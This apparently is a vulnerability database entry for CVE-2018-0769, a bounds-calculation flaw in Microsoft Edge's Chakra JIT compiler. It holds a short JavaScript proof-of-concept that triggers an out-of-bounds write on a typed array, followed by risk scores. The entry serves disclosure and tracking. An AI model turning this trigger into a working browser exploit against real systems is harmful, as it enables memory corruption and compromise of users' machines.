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Microsoft Edge: Chakra: JIT: Incorrect bounds calculation(CVE-2018-0769)

🗓️ 22 Jan 2018 00:00:00Reported by RootType 
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 seebug
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Microsoft Edge Chakra JIT Incorrect Bounds Calculation CVE-2018-0769 vulnerability in JavaScript engin

Related
Code

                                                function opt(arr) {
    if (arr.length <= 15)
        return;

    let j = 0;
    for (let i = 0; i < 2; i++) {
        arr[j] = 0x1234;  // (a)
        j += 0x100000;
        j + 0x7ffffff0;
    }
}

function main() {
    for (let i = 0; i < 0x10000; i++) {
        opt(new Uint32Array(100));
    }
}

main();
                              

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22 Jan 2018 00:00Current
7.7High risk
Vulners AI Score7.7
EPSS0.73988
33